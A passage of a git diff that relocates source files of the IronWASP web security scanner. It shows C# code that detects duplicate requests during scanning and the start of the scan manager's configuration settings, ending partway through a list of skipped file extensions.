100644 --- a/IronWASP/ScanItemUniquenessChecker.cs +++ b/Iron/ScanItemUniquenessChecker.cs @@ -1,498 +1,498 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; - -namespace IronWASP -{ - internal class ScanItemUniquenessChecker - { - internal List UniqueQueryParameters = new List(); - internal List NonUniqueQueryParameters = new List(); - internal List UniqueBodyParameters = new List(); - internal List NonUniqueBodyParameters = new List(); - internal List UniqueUrlParameters = new List(); - internal List NonUniqueUrlParameters = new List(); - - bool PromptUser = true; - - internal ScanItemUniquenessChecker(bool ShouldPrompt) - { - if (ShouldPrompt) - PromptUser = AskUser.ForBool("User Assistance in Scanning", "Do you want the Scanner to prompt you for help when dealing with items that look like duplicates.>Selecting '>No>' will not prompt for assistance.>If you understand the application then you can improve the Scan efficiency by selecting '>Yes>' and providing assistance."); - else - PromptUser = false; - } - - internal bool IsUniqueToScan(Request Req, List ScannedRequests, bool IgnoreUrl ) - { - int DuplicateNamesMatchCounter = 0; - foreach (Request RR in ScannedRequests) - { - if (!Req.Method.Equals(RR.Method)) continue; - if (Req.HasBody != RR.HasBody) continue; - if (Req.UrlPathParts.Count != RR.UrlPathParts.Count) continue; - if (Req.Query.Count != RR.Query.Count) continue; - if (Req.HasBody) - { - if (Req.Body.Count != RR.Body.Count) continue; - } - if (Req.URLPath.Equals(RR.URLPath)) - { - List ReqQueryNames = Req.Query.GetNames(); - List RRQueryNames = RR.Query.GetNames(); - if (AreListValuesSame(ReqQueryNames, RRQueryNames)) - { - if (PromptUser) - { - List MismatchedParameters = GetMismatchedQueryParameterNames(Req, RR); - if (IsAnyQueryParameterUnique(MismatchedParameters)) - return true; - else if (AreAllQueryParametersNonUnique(MismatchedParameters)) - { - if (!Req.HasBody) return false; - } - else - { - StringBuilder Message = new StringBuilder(); - Message.Append(">>Request A:>>>"); - Message.Append(" "); Message.Append(RR.Method); Message.Append(" "); Message.Append(RR.UrlPath); Message.Append("?"); - foreach (string Name in RR.Query.GetNames()) - { - foreach (string Value in RR.Query.GetAll(Name)) - { - if (MismatchedParameters.Contains(Name)) Message.Append(">"); - Message.Append(Name); Message.Append("="); Message.Append(Value); - if (MismatchedParameters.Contains(Name)) Message.Append(">"); - Message.Append("&"); - } - } - if (Message.ToString().EndsWith("&")) Message.Remove(Message.Length - 1, 1); - Message.Append(">"); - Message.Append(">>Request B:>>>"); - Message.Append(" "); Message.Append(Req.Method); Message.Append(" "); Message.Append(Req.UrlPath); Message.Append("?"); - foreach (string Name in Req.Query.GetNames()) - { - foreach (string Value in Req.Query.GetAll(Name)) - { - if (MismatchedParameters.Contains(Name)) Message.Append(">"); - Message.Append(Name); Message.Append("="); Message.Append(Value); - if (MismatchedParameters.Contains(Name)) Message.Append(">"); - Message.Append("&"); - } - } - if (Message.ToString().EndsWith("&")) Message.Remove(Message.Length - 1, 1); - Message.Append(">"); - Message.Append(">"); - Message.Append(@"Request A has been sent for scanning already. Request B is being considered for scanning.> -Request A & Request B have the same Query parameter names but some parameters have different values.> -If Request B can be considered a duplicate of A and not scanned then just hit 'Submit'.> -If the values of some the mis-matched parameters makes Request B unique then select those Query Paramters from the provided list and then hit 'Submit'"); - List AskUserResponse = AskUser.ForList("Duplicate Scan Item Check", Message.ToString(), "Scan Request B", "Don't scan Request B", "Scan Request B and set these parameters as unique", MismatchedParameters); - List UniqueParams = new List(); - for (int i = 2; i < AskUserResponse.Count; i++) - { - UniqueParams.Add(MismatchedParameters[AskUserResponse[i]]); - } - - if (UniqueParams.Count > 0 || AskUserResponse[0] == 1) - { - UniqueQueryParameters.AddRange(UniqueParams); - return true; - } - else - { - NonUniqueQueryParameters.AddRange(MismatchedParameters); - if (!Req.HasBody) return false; - } - } - } - else - { - if (!Req.HasBody) - { - DuplicateNamesMatchCounter++; - if (DuplicateNamesMatchCounter > 3) - { - return false; - } - } - } - } - else - { - continue; - } - if (Req.HasBody) - { - List ReqBodyNames = Req.Body.GetNames(); - List RRBodyNames = RR.Body.GetNames(); - if (AreListValuesSame(ReqBodyNames, RRBodyNames)) - { - if (PromptUser) - { - List MismatchedParameters = GetMismatchedBodyParameterNames(Req, RR); - if (IsAnyBodyParameterUnique(MismatchedParameters)) - return true; - else if (AreAllBodyParametersNonUnique(MismatchedParameters)) - { - return false; - } - else - { - StringBuilder Message = new StringBuilder(); - Message.Append(">>Request A:>>>"); - Message.Append(" "); Message.Append(RR.Method); Message.Append(" "); Message.Append(RR.Url); Message.Append(">>"); Message.Append(" "); - foreach (string Name in RR.Body.GetNames()) - { - foreach (string Value in RR.Body.GetAll(Name)) - { - if (MismatchedParameters.Contains(Name)) Message.Append(">"); - Message.Append(Name); Message.Append("="); Message.Append(Value); - if (MismatchedParameters.Contains(Name)) Message.Append(">"); - Message.Append("&"); - } - } - if (Message.ToString().EndsWith("&")) Message.Remove(Message.Length - 1, 1); - Message.Append(">"); - Message.Append(">"); - Message.Append(">>Request B:>>>"); - Message.Append(" "); Message.Append(Req.Method); Message.Append(" "); Message.Append(Req.Url); Message.Append(">>"); Message.Append(" "); - foreach (string Name in Req.Body.GetNames()) - { - foreach (string Value in Req.Body.GetAll(Name)) - { - if (MismatchedParameters.Contains(Name)) Message.Append(">"); - Message.Append(Name); Message.Append("="); Message.Append(Value); - if (MismatchedParameters.Contains(Name)) Message.Append(">"); - Message.Append("&"); - } - } - if (Message.ToString().EndsWith("&")) Message.Remove(Message.Length - 1, 1); - Message.Append(">"); - Message.Append(">"); - Message.Append(@"Request A has been sent for scanning already. Request B is being considered for scanning.> -Request A & Request B have the same Body parameter names but some parameters have different values.> -If Request B can be considered a duplicate of A and not scanned then just hit 'Submit'.> -If the values of some the mis-matched parameters makes Request B unique then select those Body Paramters from the provided list and then hit 'Submit'"); - List AskUserResponse = AskUser.ForList("Duplicate Scan Item Check", Message.ToString(), "Scan Request B", "Don't scan Request B", "Scan Request B and set these parameters as unique", MismatchedParameters); - List UniqueParams = new List(); - for (int i = 2; i < AskUserResponse.Count; i++) - { - UniqueParams.Add(MismatchedParameters[AskUserResponse[i]]); - } - - if (UniqueParams.Count > 0 || AskUserResponse[0] == 1) - { - UniqueBodyParameters.AddRange(UniqueParams); - return true; - } - else - { - NonUniqueBodyParameters.AddRange(MismatchedParameters); - return false; - } - } - } - else - { - DuplicateNamesMatchCounter++; - if (DuplicateNamesMatchCounter > 3) - { - return false; - } - } - } - else - { - continue; - } - } - } - else - { - if (!PromptUser) return true; - if (IgnoreUrl) return false; - if (!(Req.File.Equals("") && RR.File.Equals(""))) continue; - List PathPartMatch = new List(); - List ReqUrlPathParts = new List(Req.UrlPathParts); - List RRUrlPathParts = new List(RR.UrlPathParts); - List MatchUrlPathParts = new List(); - List MatchedParts = new List(); - List ReqAMismatchedParts = new List(); - List ReqBMismatchedParts = new List(); - - bool LastMatch = true; - for (int i = 0; i < ReqUrlPathParts.Count; i++) - { - if (LastMatch) - { - if (ReqUrlPathParts[i].Equals(RRUrlPathParts[i])) - { - MatchUrlPathParts.Add(ReqUrlPathParts[i]); - MatchedParts.Add(ReqUrlPathParts[i]); - } - else - { - LastMatch = false; - MatchUrlPathParts.Add("*"); - ReqAMismatchedParts.Add(RRUrlPathParts[i]); - ReqBMismatchedParts.Add(ReqUrlPathParts[i]); - } - } - else - { - MatchUrlPathParts.Add("*"); - ReqAMismatchedParts.Add(RRUrlPathParts[i]); - ReqBMismatchedParts.Add(ReqUrlPathParts[i]); - } - } - if (MatchedParts.Count == 0) continue; - List MatchUrlPathSignatures = UniqueUrlSignatureGenerator(MatchedParts, ReqBMismatchedParts); - string MatchUrlPathSignature = "/" + String.Join("/", MatchUrlPathParts.ToArray()) + "/"; - if (IsUrlPathSignatureUnique(MatchUrlPathSignatures)) return true; - if (IsUrlPathSignatureNonUnique(MatchUrlPathSignatures)) return false; - - StringBuilder Message = new StringBuilder(); - Message.Append(">>Request A:>>>"); - Message.Append(" "); Message.Append(RR.Method); Message.Append(" "); - foreach (string Part in MatchedParts) - { - Message.Append("/"); Message.Append(Part); - } - foreach (string Part in ReqAMismatchedParts) - { - Message.Append("/"); Message.Append(">"); Message.Append(Part); Message.Append(">"); - } - if (RR.Url.EndsWith("/")) Message.Append("/"); - - Message.Append(">"); - Message.Append(">"); - Message.Append(">>Request B:>>>"); - Message.Append(" "); Message.Append(Req.Method); Message.Append(" "); - foreach (string Part in MatchedParts) - { - Message.Append("/"); Message.Append(Part); - } - foreach (string Part in ReqBMismatchedParts) - { - Message.Append("/"); Message.Append(">"); Message.Append(Part); Message.Append(">"); - } - if (Req.Url.EndsWith("/")) Message.Append("/"); - - Message.Append(">"); - Message.Append(">"); - Message.Append(@"Request A has been sent for scanning already. Request B is being considered for scanning.> -Request A & Request B have the same starting URL but some sections of the URL differ, this could probably be a case of URL re-writing.> -If Request B can be considered a duplicate of A and not scanned then just hit 'Submit'.> -If some sections of the URL path make Request B unique then select those sections from the provided list and then hit 'Submit'"); - List AskUserResponse = AskUser.ForList("Duplicate Scan Item Check", Message.ToString(), "Scan Request B", "Don't scan Request B", "Scan Request B and set these parameters as unique", ReqBMismatchedParts); - List UniquePathPartPositions = new List(); - for (int i = 2; i < AskUserResponse.Count; i++) - { - UniquePathPartPositions.Add(AskUserResponse[i]); - } - - if (UniquePathPartPositions.Count == 0 && AskUserResponse[1] == 1) - { - NonUniqueUrlParameters.Add(MatchUrlPathSignature); - return false; - } - else - { - if(UniquePathPartPositions.Count > 0) - { - List NewSignatureList = new List(MatchedParts); - for (int ii = 0; ii < ReqBMismatchedParts.Count; ii++) - { - if (UniquePathPartPositions.Contains(ii)) - NewSignatureList.Add(ReqBMismatchedParts[ii]); - else - NewSignatureList.Add("*"); - } - NonUniqueUrlParameters.Add("/" + string.Join("/", NewSignatureList.ToArray()) + "/"); - } - return true; - } - } - } - return true; - } - - bool AreListValuesSame(List Left, List Right) - { - if (Left.Count != Right.Count) return false; - foreach (string Name in Left) - { - if (!Right.Contains(Name)) return false; - } - return true; - } - - bool IsAnyQueryParameterUnique(List Pars) - { - foreach (string Name in Pars) - { - if (UniqueQueryParameters.Contains(Name)) return true; - } - return false; - } - - bool AreAllQueryParametersNonUnique(List Pars) - { - foreach (string Name in Pars) - { - if (!NonUniqueQueryParameters.Contains(Name)) return false; - } - return true; - } - - bool IsAnyBodyParameterUnique(List Pars) - { - foreach (string Name in Pars) - { - if (UniqueBodyParameters.Contains(Name)) return true; - } - return false; - } - - bool AreAllBodyParametersNonUnique(List Pars) - { - foreach (string Name in Pars) - { - if (!NonUniqueBodyParameters.Contains(Name)) return false; - } - return true; - } - - bool IsUrlPathSignatureUnique(string UrlPathSignature) - { - if (UniqueUrlParameters.Contains(UrlPathSignature)) - return true; - else - return false; - } - - bool IsUrlPathSignatureUnique(List UrlPathSignatures) - { - foreach (string Sign in UrlPathSignatures) - { - if (UniqueUrlParameters.Contains(Sign)) - return true; - } - return false; - } - - bool IsUrlPathSignatureNonUnique(List UrlPathSignatures) - { - foreach (string Sign in UrlPathSignatures) - { - if (NonUniqueUrlParameters.Contains(Sign)) - return true; - } - return false; - } - - List GetMismatchedQueryParameterNames(Request ReqOne, Request ReqTwo) - { - List ParamNames = new List(); - foreach (string Name in ReqOne.Query.GetNames()) - { - if (!AreListValuesSame(ReqOne.Query.GetAll(Name), ReqTwo.Query.GetAll(Name))) - { - ParamNames.Add(Name); - } - } - return ParamNames; - } - - List GetMismatchedBodyParameterNames(Request ReqOne, Request ReqTwo) - { - List ParamNames = new List(); - foreach (string Name in ReqOne.Body.GetNames()) - { - if (!AreListValuesSame(ReqOne.Body.GetAll(Name), ReqTwo.Body.GetAll(Name))) - { - ParamNames.Add(Name); - } - } - return ParamNames; - } - - List UniqueUrlSignatureGenerator(List MatchingUrlPathParts, List MismatchedUrlPathParts) - { - List Signatures = new List(); - StringBuilder UrlStartB = new StringBuilder("/"); - foreach (string Path in MatchingUrlPathParts) - { - UrlStartB.Append(Path); - UrlStartB.Append("/"); - } - string UrlStart = UrlStartB.ToString(); - int[] Pointer = new int[MismatchedUrlPathParts.Count]; - int i = 0; - while (i < Pointer.Length) - { - Pointer[i] = 0; - i++; - } - Signatures.Add(MakeUrlSignatureFromPointer(UrlStart, MismatchedUrlPathParts, Pointer)); - while (GetSum(Pointer) < Pointer.Length) - { - Pointer[Pointer.Length - 1]++; - for (int j = Pointer.Length - 1; j > 0; j--) - { - if (Pointer[j] == 2) - { - Pointer[j - 1]++; - Pointer[j] = 0; - } - } - Signatures.Add(MakeUrlSignatureFromPointer(UrlStart, MismatchedUrlPathParts, Pointer)); - } - return Signatures; - } - - string MakeUrlSignatureFromPointer(string UrlStart, List MismatchedUrlPathParts, int[] Pointer) - { - StringBuilder Result = new StringBuilder(UrlStart); - if (!UrlStart.EndsWith("/")) Result.Append("/"); - for (int i = 0; i < Pointer.Length; i++) - { - if (Pointer[i] == 0) - Result.Append(MismatchedUrlPathParts[i]); - else - Result.Append("*"); - Result.Append("/"); - } - return Result.ToString(); - } - - int GetSum(int[] IntArr) - { - int Sum = 0; - foreach(int i in IntArr) - { - Sum = Sum + i; - } - return Sum; - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + internal class ScanItemUniquenessChecker + { + internal List UniqueQueryParameters = new List(); + internal List NonUniqueQueryParameters = new List(); + internal List UniqueBodyParameters = new List(); + internal List NonUniqueBodyParameters = new List(); + internal List UniqueUrlParameters = new List(); + internal List NonUniqueUrlParameters = new List(); + + bool PromptUser = true; + + internal ScanItemUniquenessChecker(bool ShouldPrompt) + { + if (ShouldPrompt) + PromptUser = AskUser.ForBool("User Assistance in Scanning", "Do you want the Scanner to prompt you for help when dealing with items that look like duplicates.>Selecting '>No>' will not prompt for assistance.>If you understand the application then you can improve the Scan efficiency by selecting '>Yes>' and providing assistance."); + else + PromptUser = false; + } + + internal bool IsUniqueToScan(Request Req, List ScannedRequests, bool IgnoreUrl ) + { + int DuplicateNamesMatchCounter = 0; + foreach (Request RR in ScannedRequests) + { + if (!Req.Method.Equals(RR.Method)) continue; + if (Req.HasBody != RR.HasBody) continue; + if (Req.UrlPathParts.Count != RR.UrlPathParts.Count) continue; + if (Req.Query.Count != RR.Query.Count) continue; + if (Req.HasBody) + { + if (Req.Body.Count != RR.Body.Count) continue; + } + if (Req.URLPath.Equals(RR.URLPath)) + { + List ReqQueryNames = Req.Query.GetNames(); + List RRQueryNames = RR.Query.GetNames(); + if (AreListValuesSame(ReqQueryNames, RRQueryNames)) + { + if (PromptUser) + { + List MismatchedParameters = GetMismatchedQueryParameterNames(Req, RR); + if (IsAnyQueryParameterUnique(MismatchedParameters)) + return true; + else if (AreAllQueryParametersNonUnique(MismatchedParameters)) + { + if (!Req.HasBody) return false; + } + else + { + StringBuilder Message = new StringBuilder(); + Message.Append(">>Request A:>>>"); + Message.Append(" "); Message.Append(RR.Method); Message.Append(" "); Message.Append(RR.UrlPath); Message.Append("?"); + foreach (string Name in RR.Query.GetNames()) + { + foreach (string Value in RR.Query.GetAll(Name)) + { + if (MismatchedParameters.Contains(Name)) Message.Append(">"); + Message.Append(Name); Message.Append("="); Message.Append(Value); + if (MismatchedParameters.Contains(Name)) Message.Append(">"); + Message.Append("&"); + } + } + if (Message.ToString().EndsWith("&")) Message.Remove(Message.Length - 1, 1); + Message.Append(">"); + Message.Append(">>Request B:>>>"); + Message.Append(" "); Message.Append(Req.Method); Message.Append(" "); Message.Append(Req.UrlPath); Message.Append("?"); + foreach (string Name in Req.Query.GetNames()) + { + foreach (string Value in Req.Query.GetAll(Name)) + { + if (MismatchedParameters.Contains(Name)) Message.Append(">"); + Message.Append(Name); Message.Append("="); Message.Append(Value); + if (MismatchedParameters.Contains(Name)) Message.Append(">"); + Message.Append("&"); + } + } + if (Message.ToString().EndsWith("&")) Message.Remove(Message.Length - 1, 1); + Message.Append(">"); + Message.Append(">"); + Message.Append(@"Request A has been sent for scanning already. Request B is being considered for scanning.> +Request A & Request B have the same Query parameter names but some parameters have different values.> +If Request B can be considered a duplicate of A and not scanned then just hit 'Submit'.> +If the values of some the mis-matched parameters makes Request B unique then select those Query Paramters from the provided list and then hit 'Submit'"); + List AskUserResponse = AskUser.ForList("Duplicate Scan Item Check", Message.ToString(), "Scan Request B", "Don't scan Request B", "Scan Request B and set these parameters as unique", MismatchedParameters); + List UniqueParams = new List(); + for (int i = 2; i < AskUserResponse.Count; i++) + { + UniqueParams.Add(MismatchedParameters[AskUserResponse[i]]); + } + + if (UniqueParams.Count > 0 || AskUserResponse[0] == 1) + { + UniqueQueryParameters.AddRange(UniqueParams); + return true; + } + else + { + NonUniqueQueryParameters.AddRange(MismatchedParameters); + if (!Req.HasBody) return false; + } + } + } + else + { + if (!Req.HasBody) + { + DuplicateNamesMatchCounter++; + if (DuplicateNamesMatchCounter > 3) + { + return false; + } + } + } + } + else + { + continue; + } + if (Req.HasBody) + { + List ReqBodyNames = Req.Body.GetNames(); + List RRBodyNames = RR.Body.GetNames(); + if (AreListValuesSame(ReqBodyNames, RRBodyNames)) + { + if (PromptUser) + { + List MismatchedParameters = GetMismatchedBodyParameterNames(Req, RR); + if (IsAnyBodyParameterUnique(MismatchedParameters)) + return true; + else if (AreAllBodyParametersNonUnique(MismatchedParameters)) + { + return false; + } + else + { + StringBuilder Message = new StringBuilder(); + Message.Append(">>Request A:>>>"); + Message.Append(" "); Message.Append(RR.Method); Message.Append(" "); Message.Append(RR.Url); Message.Append(">>"); Message.Append(" "); + foreach (string Name in RR.Body.GetNames()) + { + foreach (string Value in RR.Body.GetAll(Name)) + { + if (MismatchedParameters.Contains(Name)) Message.Append(">"); + Message.Append(Name); Message.Append("="); Message.Append(Value); + if (MismatchedParameters.Contains(Name)) Message.Append(">"); + Message.Append("&"); + } + } + if (Message.ToString().EndsWith("&")) Message.Remove(Message.Length - 1, 1); + Message.Append(">"); + Message.Append(">"); + Message.Append(">>Request B:>>>"); + Message.Append(" "); Message.Append(Req.Method); Message.Append(" "); Message.Append(Req.Url); Message.Append(">>"); Message.Append(" "); + foreach (string Name in Req.Body.GetNames()) + { + foreach (string Value in Req.Body.GetAll(Name)) + { + if (MismatchedParameters.Contains(Name)) Message.Append(">"); + Message.Append(Name); Message.Append("="); Message.Append(Value); + if (MismatchedParameters.Contains(Name)) Message.Append(">"); + Message.Append("&"); + } + } + if (Message.ToString().EndsWith("&")) Message.Remove(Message.Length - 1, 1); + Message.Append(">"); + Message.Append(">"); + Message.Append(@"Request A has been sent for scanning already. Request B is being considered for scanning.> +Request A & Request B have the same Body parameter names but some parameters have different values.> +If Request B can be considered a duplicate of A and not scanned then just hit 'Submit'.> +If the values of some the mis-matched parameters makes Request B unique then select those Body Paramters from the provided list and then hit 'Submit'"); + List AskUserResponse = AskUser.ForList("Duplicate Scan Item Check", Message.ToString(), "Scan Request B", "Don't scan Request B", "Scan Request B and set these parameters as unique", MismatchedParameters); + List UniqueParams = new List(); + for (int i = 2; i < AskUserResponse.Count; i++) + { + UniqueParams.Add(MismatchedParameters[AskUserResponse[i]]); + } + + if (UniqueParams.Count > 0 || AskUserResponse[0] == 1) + { + UniqueBodyParameters.AddRange(UniqueParams); + return true; + } + else + { + NonUniqueBodyParameters.AddRange(MismatchedParameters); + return false; + } + } + } + else + { + DuplicateNamesMatchCounter++; + if (DuplicateNamesMatchCounter > 3) + { + return false; + } + } + } + else + { + continue; + } + } + } + else + { + if (!PromptUser) return true; + if (IgnoreUrl) return false; + if (!(Req.File.Equals("") && RR.File.Equals(""))) continue; + List PathPartMatch = new List(); + List ReqUrlPathParts = new List(Req.UrlPathParts); + List RRUrlPathParts = new List(RR.UrlPathParts); + List MatchUrlPathParts = new List(); + List MatchedParts = new List(); + List ReqAMismatchedParts = new List(); + List ReqBMismatchedParts = new List(); + + bool LastMatch = true; + for (int i = 0; i < ReqUrlPathParts.Count; i++) + { + if (LastMatch) + { + if (ReqUrlPathParts[i].Equals(RRUrlPathParts[i])) + { + MatchUrlPathParts.Add(ReqUrlPathParts[i]); + MatchedParts.Add(ReqUrlPathParts[i]); + } + else + { + LastMatch = false; + MatchUrlPathParts.Add("*"); + ReqAMismatchedParts.Add(RRUrlPathParts[i]); + ReqBMismatchedParts.Add(ReqUrlPathParts[i]); + } + } + else + { + MatchUrlPathParts.Add("*"); + ReqAMismatchedParts.Add(RRUrlPathParts[i]); + ReqBMismatchedParts.Add(ReqUrlPathParts[i]); + } + } + if (MatchedParts.Count == 0) continue; + List MatchUrlPathSignatures = UniqueUrlSignatureGenerator(MatchedParts, ReqBMismatchedParts); + string MatchUrlPathSignature = "/" + String.Join("/", MatchUrlPathParts.ToArray()) + "/"; + if (IsUrlPathSignatureUnique(MatchUrlPathSignatures)) return true; + if (IsUrlPathSignatureNonUnique(MatchUrlPathSignatures)) return false; + + StringBuilder Message = new StringBuilder(); + Message.Append(">>Request A:>>>"); + Message.Append(" "); Message.Append(RR.Method); Message.Append(" "); + foreach (string Part in MatchedParts) + { + Message.Append("/"); Message.Append(Part); + } + foreach (string Part in ReqAMismatchedParts) + { + Message.Append("/"); Message.Append(">"); Message.Append(Part); Message.Append(">"); + } + if (RR.Url.EndsWith("/")) Message.Append("/"); + + Message.Append(">"); + Message.Append(">"); + Message.Append(">>Request B:>>>"); + Message.Append(" "); Message.Append(Req.Method); Message.Append(" "); + foreach (string Part in MatchedParts) + { + Message.Append("/"); Message.Append(Part); + } + foreach (string Part in ReqBMismatchedParts) + { + Message.Append("/"); Message.Append(">"); Message.Append(Part); Message.Append(">"); + } + if (Req.Url.EndsWith("/")) Message.Append("/"); + + Message.Append(">"); + Message.Append(">"); + Message.Append(@"Request A has been sent for scanning already. Request B is being considered for scanning.> +Request A & Request B have the same starting URL but some sections of the URL differ, this could probably be a case of URL re-writing.> +If Request B can be considered a duplicate of A and not scanned then just hit 'Submit'.> +If some sections of the URL path make Request B unique then select those sections from the provided list and then hit 'Submit'"); + List AskUserResponse = AskUser.ForList("Duplicate Scan Item Check", Message.ToString(), "Scan Request B", "Don't scan Request B", "Scan Request B and set these parameters as unique", ReqBMismatchedParts); + List UniquePathPartPositions = new List(); + for (int i = 2; i < AskUserResponse.Count; i++) + { + UniquePathPartPositions.Add(AskUserResponse[i]); + } + + if (UniquePathPartPositions.Count == 0 && AskUserResponse[1] == 1) + { + NonUniqueUrlParameters.Add(MatchUrlPathSignature); + return false; + } + else + { + if(UniquePathPartPositions.Count > 0) + { + List NewSignatureList = new List(MatchedParts); + for (int ii = 0; ii < ReqBMismatchedParts.Count; ii++) + { + if (UniquePathPartPositions.Contains(ii)) + NewSignatureList.Add(ReqBMismatchedParts[ii]); + else + NewSignatureList.Add("*"); + } + NonUniqueUrlParameters.Add("/" + string.Join("/", NewSignatureList.ToArray()) + "/"); + } + return true; + } + } + } + return true; + } + + bool AreListValuesSame(List Left, List Right) + { + if (Left.Count != Right.Count) return false; + foreach (string Name in Left) + { + if (!Right.Contains(Name)) return false; + } + return true; + } + + bool IsAnyQueryParameterUnique(List Pars) + { + foreach (string Name in Pars) + { + if (UniqueQueryParameters.Contains(Name)) return true; + } + return false; + } + + bool AreAllQueryParametersNonUnique(List Pars) + { + foreach (string Name in Pars) + { + if (!NonUniqueQueryParameters.Contains(Name)) return false; + } + return true; + } + + bool IsAnyBodyParameterUnique(List Pars) + { + foreach (string Name in Pars) + { + if (UniqueBodyParameters.Contains(Name)) return true; + } + return false; + } + + bool AreAllBodyParametersNonUnique(List Pars) + { + foreach (string Name in Pars) + { + if (!NonUniqueBodyParameters.Contains(Name)) return false; + } + return true; + } + + bool IsUrlPathSignatureUnique(string UrlPathSignature) + { + if (UniqueUrlParameters.Contains(UrlPathSignature)) + return true; + else + return false; + } + + bool IsUrlPathSignatureUnique(List UrlPathSignatures) + { + foreach (string Sign in UrlPathSignatures) + { + if (UniqueUrlParameters.Contains(Sign)) + return true; + } + return false; + } + + bool IsUrlPathSignatureNonUnique(List UrlPathSignatures) + { + foreach (string Sign in UrlPathSignatures) + { + if (NonUniqueUrlParameters.Contains(Sign)) + return true; + } + return false; + } + + List GetMismatchedQueryParameterNames(Request ReqOne, Request ReqTwo) + { + List ParamNames = new List(); + foreach (string Name in ReqOne.Query.GetNames()) + { + if (!AreListValuesSame(ReqOne.Query.GetAll(Name), ReqTwo.Query.GetAll(Name))) + { + ParamNames.Add(Name); + } + } + return ParamNames; + } + + List GetMismatchedBodyParameterNames(Request ReqOne, Request ReqTwo) + { + List ParamNames = new List(); + foreach (string Name in ReqOne.Body.GetNames()) + { + if (!AreListValuesSame(ReqOne.Body.GetAll(Name), ReqTwo.Body.GetAll(Name))) + { + ParamNames.Add(Name); + } + } + return ParamNames; + } + + List UniqueUrlSignatureGenerator(List MatchingUrlPathParts, List MismatchedUrlPathParts) + { + List Signatures = new List(); + StringBuilder UrlStartB = new StringBuilder("/"); + foreach (string Path in MatchingUrlPathParts) + { + UrlStartB.Append(Path); + UrlStartB.Append("/"); + } + string UrlStart = UrlStartB.ToString(); + int[] Pointer = new int[MismatchedUrlPathParts.Count]; + int i = 0; + while (i < Pointer.Length) + { + Pointer[i] = 0; + i++; + } + Signatures.Add(MakeUrlSignatureFromPointer(UrlStart, MismatchedUrlPathParts, Pointer)); + while (GetSum(Pointer) < Pointer.Length) + { + Pointer[Pointer.Length - 1]++; + for (int j = Pointer.Length - 1; j > 0; j--) + { + if (Pointer[j] == 2) + { + Pointer[j - 1]++; + Pointer[j] = 0; + } + } + Signatures.Add(MakeUrlSignatureFromPointer(UrlStart, MismatchedUrlPathParts, Pointer)); + } + return Signatures; + } + + string MakeUrlSignatureFromPointer(string UrlStart, List MismatchedUrlPathParts, int[] Pointer) + { + StringBuilder Result = new StringBuilder(UrlStart); + if (!UrlStart.EndsWith("/")) Result.Append("/"); + for (int i = 0; i < Pointer.Length; i++) + { + if (Pointer[i] == 0) + Result.Append(MismatchedUrlPathParts[i]); + else + Result.Append("*"); + Result.Append("/"); + } + return Result.ToString(); + } + + int GetSum(int[] IntArr) + { + int Sum = 0; + foreach(int i in IntArr) + { + Sum = Sum + i; + } + return Sum; + } + } +} diff --git a/IronWASP/ScanManager.cs b/Iron/ScanManager.cs similarity index 97% rename from IronWASP/ScanManager.cs rename to Iron/ScanManager.cs index 9ce78e2..c5a43cd 100644 --- a/IronWASP/ScanManager.cs +++ b/Iron/ScanManager.cs @@ -1,437 +1,437 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; -using System.Threading; - -namespace IronWASP -{ - internal class ScanManager - { - internal static ScanMode Mode = ScanMode.Default; - internal static Thread ScanManagerThread; - static Crawler Spider; - - static bool Stopped = false; - - internal static List UrlsToAvoid = new List(); - internal static List HostsToInclude = new List(); - internal static bool HTTP = false; - internal static bool HTTPS = false; - internal static SessionPlugin SessionHandler = new SessionPlugin(); - internal static string StartingUrl = "/"; - internal static string BaseUrl = "/"; - internal static string PrimaryHost = ""; - internal static bool PerformDirAndFileGuessing = true; - internal static bool IncludeSubDomains = false; - internal static bool CrawlAndScan = true; - - internal static bool InjectUrlPathParts = false; - internal static bool InjectQuery = false; - internal static bool InjectBody = false; - internal static bool InjectCookie = false; - internal static bool InjectHeaders = false; - internal static bool InjectQueryName = false; - internal static bool InjectBodyName = false; - internal static bool InjectCookieName = false; - internal static bool InjectHeaderName = false; - - internal static List QueryBlackList = new List(); - internal static List QueryWhiteList = new List(); - internal static List BodyBlackList = new List(); - internal static List BodyWhiteList = new List(); - internal static List CookieBlackList = new List(); - internal static List CookieWhiteList = new List(); - internal static List HeaderBlackList = new List(); - internal static List HeaderWhiteList = new List(); - - internal static List Checks = new List(); - - internal static bool CanPromptUser = false; - - internal static string[] SpecialHeader = new string[2]; - - internal static bool CanStop = false; - - static List ExtenionsToAvoid = new List() { - "jpg", "png", "gif","bmp", "ico","exif","jpeg",//image files - "7z", "zip", "rar","tar", "gz","tgz","bzip", "bzip2","dmg","cab",//compressed files - "html", "htm", "js", "css","xhtml","svg","svgz","bak",//static web content - "swf","exe", "jar", "msi","deb","bin","class","war",//executable content - "rtf", "txt", "pdf", "doc", "docx", "ppt", "pptx","xls","xlsx", "iso","xml","json","xps","tex","csv","pps","tsv","db","log","rss",//document formats - "mp3","wav","m4a","m4p","aac","dat",//audio 